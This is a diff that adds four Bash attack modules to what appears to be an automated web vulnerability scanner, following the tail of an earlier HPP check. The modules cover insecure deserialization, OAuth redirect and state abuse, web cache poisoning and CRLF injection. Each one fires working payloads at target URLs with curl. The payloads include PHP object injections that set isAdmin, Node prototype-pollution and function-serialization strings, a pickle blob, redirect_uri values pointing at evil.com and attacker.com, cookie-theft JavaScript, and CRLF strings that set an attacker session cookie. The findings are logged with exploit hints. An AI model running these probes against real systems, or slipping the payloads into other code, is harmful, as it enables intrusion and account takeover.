findings=$((findings + 1))
break 2
fi
fi
done
done
if [ "$findings" -eq 0 ]; then
print_info "No HPP found"
fi
return $findings
}

View File

@@ -0,0 +1,132 @@
#!/usr/bin/env bash
# Vector 27: Insecure Deserialization — PHP/Java/Node/ Python
# Desc: Detects insecure deserialization via error messages & behavior
# Severity: CRITICAL
# Proof: Triggers deserialization error revealing app internals
vector_deserialization() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting Insecure Deserialization..."
# PHP serialized payloads
local php_payloads=(
'O:3:"App":0:{}'
'O:3:"User":1:{s:7:"isAdmin";b:1;}'
'O:3:"Admin":0:{}'
'a:1:{i:0;O:3:"RCE":0:{}}'
'O:8:"stdClass":0:{}'
'N;'
'b:1;'
'i:1;'
's:4:"test";'
)
# Java serialized magic bytes payload
local java_payloads=(
"rO0ABXc=" # Base64 of Java serialization header
"rO0ABQ=="
)
# Node.js/express body parser deserialization
local node_payloads=(
'{"__proto__":{"admin":true}}'
'{"rce":"_$$ND_FUNC$$_function(){return true}()"}'
)
# Python pickle payload (base64)
local python_payloads=(
"gAN9cQBYEAAAAGFkbWluX3JvbGVfcXVlcnlxAFgHAAAAZW5hYmxlZHEBhXECUnEDLg=="
)
# Deserialization error patterns
local error_patterns='unserialize\|O:.*:"\|java.io.InvalidClassException\|java.lang.ClassNotFoundException\|pickle\|unpickle\|PHP Fatal error\|__PHP_Incomplete_Class\|NOTICE: unserialize'
# Common deserialization endpoints
local endpoints=$(get_discovered_urls "$domain" 2>/dev/null | grep -iE 'api|rest|session|cookie|token|auth|login|profile|user' | head -10)
[ -z "$endpoints" ] && endpoints="$target"
# Content types to test
local content_types=(
"application/x-www-form-urlencoded"
"application/json"
"application/x-php-serialized"
"application/x-java-serialized"
"text/xml"
)
for endpoint in $endpoints; do
# Test PHP deserialization
for payload in "${php_payloads[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 8 \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-d "data=${payload}" \
"$endpoint" 2>/dev/null)
if echo "$response" | grep -qi "$error_patterns\|__PHP_Incomplete_Class\|O:.*:\""; then
print_find "PHP Deserialization Error!" "Server processed unserialized data"
echo "SEVERITY: CRITICAL
VECTOR: Insecure Deserialization (PHP)
DETAIL: Server deserialized untrusted input, revealing PHP internals
URL: $endpoint
PAYLOAD: $payload
EVIDENCE: $(echo "$response" | grep -i 'unserialize\|PHP\|error' | head -3 | tr '\n' ' ' | cut -c1-200)
EXPLOIT: PHP gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_$(date +%s).txt"
findings=$((findings + 1))
break 3
fi
done
# Test Java deserialization
for payload in "${java_payloads[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 8 \
-X POST -H "Content-Type: application/x-java-serialized" \
-d "$payload" \
"$endpoint" 2>/dev/null)
if echo "$response" | grep -qi "java.io\|ClassNotFoundException\|InvalidClassException"; then
print_find "Java Deserialization Detected!" "Server processes Java serialized objects"
echo "SEVERITY: CRITICAL
VECTOR: Insecure Deserialization (Java)
DETAIL: Server accepts Java serialized objects at $endpoint
EXPLOIT: ysoserial gadget chain → RCE" > "$REPORTS_DIR/.finding_deser_java_$(date +%s).txt"
findings=$((findings + 1))
break 2
fi
done
# Test Node.js deserialization
for payload in "${node_payloads[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 8 \
-X POST -H "Content-Type: application/json" \
-d "$payload" \
"$endpoint" 2>/dev/null)
if echo "$response" | grep -qi "_$$ND_FUNC"\|"__proto__\|polluted"; then
print_find "Node.js Deserialization Risk!" "Server processed __proto__ payload"
findings=$((findings + 1))
break 2
fi
done
# Test cookie deserialization
local cookie_payload='O:3:"App":1:{s:7:"isAdmin";b:1;}'
local response=$(curl -s --connect-timeout 5 --max-time 8 \
-b "session=serialized;user_data=$(printf '%s' "$cookie_payload" | base64);auth=O:3:\"User\":0:{}" \
"$endpoint" 2>/dev/null)
if echo "$response" | grep -qi "$error_patterns"; then
print_find "Cookie Deserialization!" "Session cookie triggered deserialize error"
findings=$((findings + 1))
fi
done
if [ "$findings" -eq 0 ]; then
print_info "No deserialization issues found"
fi
return $findings
}

View File

@@ -0,0 +1,128 @@
#!/usr/bin/env bash
# Vector 28: OAuth Takeover — Detects OAuth misconfigurations
# Desc: Tests OAuth flows for redirect_uri, state, and CSRF issues
# Severity: CRITICAL
# Proof: Account takeover proof via open redirect / token theft
vector_oauth_takeover() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting OAuth Misconfiguration..."
local base=$(get_base "$target")
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
local oauth_urls=$(echo "$urls" | grep -iE 'oauth|auth|login|signin|sso|callback|redirect|connect|authorize|token' | head -20)
[ -z "$oauth_urls" ] && oauth_urls="$target"
# OAuth redirect_uri tests
local redirect_uris=(
"https://evil.com"
"https://${domain}.evil.com"
"https://evil${domain}"
"https://${domain}.attacker.com"
"https://attacker.com/redirect?to=${domain}"
"https://evil.com/?domain=${domain}"
"https://${domain}.evil.com%2Fcallback"
"https://evil.com%2F%40${domain}"
"data:text/html,<script>alert(1)</script>"
"javascript:alert(document.cookie)"
)
# OAuth state parameter tests
local state_tests=(
"state=test123"
"state="
"state=missing"
"" # missing state
)
# OpenID Connect discovery
local oidc_paths=(
"/.well-known/openid-configuration"
"/.well-known/oauth-authorization-server"
"/oauth2/.well-known/openid-configuration"
"/api/.well-known/openid-configuration"
)
for oauth_url in $oauth_urls; do
# Test for missing state parameter (CSRF on OAuth)
if echo "$oauth_url" | grep -qi 'state='; then
# Check if removing state still works
local no_state_url=$(echo "$oauth_url" | sed 's/&state=[^&]*//;s/state=[^&]*&//')
if [ "$no_state_url" != "$oauth_url" ]; then
local resp_no_state=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "$no_state_url" 2>/dev/null)
local resp_state=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "$oauth_url" 2>/dev/null)
if [ "$resp_no_state" != "400" ] && [ "$resp_no_state" != "403" ]; then
print_find "OAuth CSRF — Missing State!" "State parameter removal doesn't break flow"
echo "SEVERITY: CRITICAL
VECTOR: OAuth CSRF (Missing State)
DETAIL: OAuth flow works without state parameter
URL: $oauth_url
EXPLOIT: CSRF attack to link attacker's account to victim" > "$REPORTS_DIR/.finding_oauth_csrf_$(date +%s).txt"
findings=$((findings + 1))
fi
fi
fi
# Test redirect_uri open redirect
for redirect in "${redirect_uris[@]}"; do
local encoded_redirect=$(printf '%s' "$redirect" | jq -sRr @uri 2>/dev/null || echo "$redirect")
for redirect_param in "redirect_uri" "redirect" "callback" "return_url" "return_to" "next" "goto"; do
local test_url=$(echo "$oauth_url" | sed "s|redirect_uri=[^&]*|${redirect_param}=${encoded_redirect}|" 2>/dev/null)
if [ "$test_url" != "$oauth_url" ] || [[ "$oauth_url" == *"$redirect_param"* ]]; then
local final_url=$(curl -s -o /dev/null -w "%{redirect_url}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
if echo "$final_url" | grep -qi 'evil.com\|attacker.com'; then
print_find "OAuth Open Redirect!" "redirect_uri accepts external domains"
echo "SEVERITY: HIGH
VECTOR: OAuth Redirect URI Bypass
DETAIL: OAuth allows external redirect_uri
URL: $test_url
REDIRECTS_TO: $final_url
EXPLOIT: Steal auth codes via open redirect" > "$REPORTS_DIR/.finding_oauth_redirect_$(date +%s).txt"
findings=$((findings + 1))
break 3
fi
fi
done
done
# Check for token leakage in referer
if echo "$oauth_url" | grep -qi 'access_token\|id_token\|token='; then
print_find "OAuth Token in URL!" "Token exposed in URL (referer leakage risk)"
echo "SEVERITY: HIGH
VECTOR: OAuth Token Leakage
DETAIL: Token transmitted in URL query string
EVIDENCE: Token present in OAuth redirect URL
EXPLOIT: Referer header leaks token to third-party resources" > "$REPORTS_DIR/.finding_oauth_token_$(date +%s).txt"
findings=$((findings + 1))
fi
done
# Test OIDC discovery endpoints
for path in "${oidc_paths[@]}"; do
local oidc_data=$(curl -s --connect-timeout 5 --max-time 8 "${base}${path}" 2>/dev/null)
if echo "$oidc_data" | grep -qi '"issuer"\|"authorization_endpoint"\|"jwks_uri"'; then
print_find "OIDC Discovery Exposed!" "OpenID Connect metadata at ${path}"
echo "SEVERITY: MEDIUM
VECTOR: OIDC Discovery Exposed
DETAIL: OpenID Connect configuration publicly accessible
URL: ${base}${path}
ISSUER: $(echo "$oidc_data" | grep -o '"issuer":"[^"]*"' | cut -d'"' -f4)" > "$REPORTS_DIR/.finding_oidc_$(date +%s).txt"
findings=$((findings + 1))
fi
done
if [ "$findings" -eq 0 ]; then
print_info "No OAuth misconfigurations found"
fi
return $findings
}

View File

@@ -0,0 +1,111 @@
#!/usr/bin/env bash
# Vector 29: Web Cache Poisoning — Persistent cache-based attacks
# Desc: Tests for cache poisoning via unkeyed headers & params
# Severity: HIGH
# Proof: Confirms by serving poisoned content to subsequent requests
vector_cache_poisoning() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting Web Cache Poisoning..."
local base=$(get_base "$target")
# Unkeyed headers to test for cache poisoning
local unkeyed_headers=(
"X-Forwarded-Host"
"X-Forwarded-Scheme"
"X-Forwarded-Port"
"X-Original-URL"
"X-Original-Host"
"X-Rewrite-URL"
"X-Real-IP"
"Forwarded"
"X-HTTP-Method-Override"
"X-Originating-URL"
)
# Cache proxy headers to look for
local cache_headers=(
"X-Cache"
"X-Cache-Lookup"
"CF-Cache-Status"
"Age"
"X-Served-By"
"X-Cached"
"X-Proxy-Cache"
"X-Varnish"
"X-Cache-Debug"
"Cache-Control"
)
# First, check if caching is in use
local baseline=$(curl -sI --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
local cache_detected=0
for hdr in "${cache_headers[@]}"; do
if echo "$baseline" | grep -qi "$hdr"; then
cache_detected=1
local val=$(echo "$baseline" | grep -i "$hdr" | tr -d '\r' | head -1)
print_sub "Cache detected: $val"
fi
done
if [ "$cache_detected" -eq 1 ]; then
# Test unkeyed headers for X-Forwarded-Host
for header in "${unkeyed_headers[@]}"; do
local evil_host="evil.${domain}"
local test_response=$(curl -s --connect-timeout 5 --max-time 8 \
-H "${header}: ${evil_host}" \
"$target" 2>/dev/null)
# Check if the response includes our injected host
if echo "$test_response" | grep -qi "$evil_host" || \
echo "$test_response" | grep -qi "evil\.${domain}"; then
print_find "Cache Poisoning via ${header}!" "Injected $evil_host into response"
echo "SEVERITY: HIGH
VECTOR: Web Cache Poisoning
DETAIL: Unkeyed header ${header} reflected in response
URL: $target
HEADER: ${header}: ${evil_host}
EXPLOIT: Poison CDN cache to serve malicious content to all users" > "$REPORTS_DIR/.finding_cache_$(date +%s).txt"
findings=$((findings + 1))
break
fi
done
# Test cache key via parameter cloaking
local cloaked_params=(
"?test=1&test=2"
"?test=1%26test=2"
"?test=1&utm_source=cachebuster"
"?test=1&dontcache=1"
)
for param in "${cloaked_params[@]}"; do
local url="${target}${param}"
local resp1=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
sleep 1
local resp2=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
# Same size with different params = possible cache poisoning vector
if [ "$resp1" = "$resp2" ] && [ -n "$resp1" ] && [ "$resp1" -gt 0 ]; then
local cached_headers=$(curl -sI --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
if echo "$cached_headers" | grep -qi "hit\|HIT\|fresh"; then
print_find "Cacheable Parameter!" "Response cached with: $param"
findings=$((findings + 1))
break
fi
fi
done
fi
if [ "$findings" -eq 0 ]; then
print_info "No cache poisoning opportunities found"
fi
return $findings
}

View File

@@ -0,0 +1,103 @@
#!/usr/bin/env bash
# Vector 30: CRLF Injection — HTTP Response Splitting
# Desc: Detects CRLF injection in headers, params, and redirects
# Severity: CRITICAL
# Proof: Injects %0d%0a to create a second response (XSS vector)
vector_crlf_injection() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local findings=0
print_info "Hunting CRLF Injection (Response Splitting)..."
local base=$(get_base "$target")
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -15)
[ -z "$urls" ] && urls="${target}?test=1"
# CRLF injection payloads
local crlf_payloads=(
"%0d%0aX-CRLF-Test:injected"
"%0d%0aX-CRLF-Test:%20injected"
"%0d%0a%0d%0a<html><script>alert(1)</script></html>"
"%0aX-CRLF-Test:injected"
"%0d%0aLocation:%20https://evil.com"
"%0d%0aSet-Cookie:%20session=attacker"
"%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>injected</html>"
"%23%0d%0aX-CRLF-Test:injected"
"%3f%0d%0aX-CRLF-Test:injected"
"%2f%0d%0aX-CRLF-Test:injected"
)
# Params to inject CRLF into
local crlf_params=(
"redirect" "url" "uri" "link" "next" "goto" "return"
"return_url" "return_to" "page" "path" "file" "dest"
"redirect_uri" "redirect_url" "callback" "referer"
"logout" "login" "signout" "error" "message" "msg"
)
# Also inject in headers
local header_injections=(
"X-Forwarded-Host: evil.com%0d%0aX-CRLF-Test:injected"
"Referer: https://evil.com%0d%0aX-CRLF-Test:injected"
)
for url in $urls; do
local base_url=$(echo "$url" | cut -d'?' -f1)
local existing_params=$(echo "$url" | cut -d'?' -f2-)
# Test URL params with CRLF payloads
for param in "${crlf_params[@]}"; do
for payload in "${crlf_payloads[@]}"; do
local test_url="${base_url}?${param}=${payload}&${existing_params}"
local response=$(curl -s --connect-timeout 5 --max-time 8 -i "$test_url" 2>/dev/null)
# Check if CRLF injection worked (header reflection)
if echo "$response" | grep -qi "X-CRLF-Test:\|X-CRLF-Test"; then
print_find "CRLF Injection Confirmed!" "${param}=${payload}"
echo "SEVERITY: CRITICAL
VECTOR: CRLF Injection (Response Splitting)
DETAIL: Injected HTTP headers via CRLF in ${param}
URL: $test_url
EVIDENCE: Custom header 'X-CRLF-Test' reflected in response
EXPLOIT: HTTP response splitting, cache poisoning, XSS, email injection" > "$REPORTS_DIR/.finding_crlf_$(date +%s).txt"
findings=$((findings + 1))
break 3
fi
# Check for response splitting (two HTTP responses)
local split_count=$(echo "$response" | grep -c "HTTP/1.[01]")
if [ "$split_count" -gt 1 ]; then
print_find "HTTP Response Splitting!" "Two HTTP responses in one request"
echo "SEVERITY: CRITICAL
VECTOR: HTTP Response Splitting
DETAIL: CRLF injection caused two HTTP responses
URL: $test_url" > "$REPORTS_DIR/.finding_rsplit_$(date +%s).txt"
findings=$((findings + 1))
break 3
fi
done
done
# Test header injection
for hdr in "${header_injections[@]}"; do
local response=$(curl -s --connect-timeout 5 --max-time 8 -i \
-H "$hdr" \
"$url" 2>/dev/null)
if echo "$response" | grep -qi "X-CRLF-Test:"; then
print_find "CRLF Injection via Header!" "$hdr"
findings=$((findings + 1))
break 2
fi
done
done
if [ "$findings" -eq 0 ]; then
print_info "No CRLF injection found"
fi
return $findings
}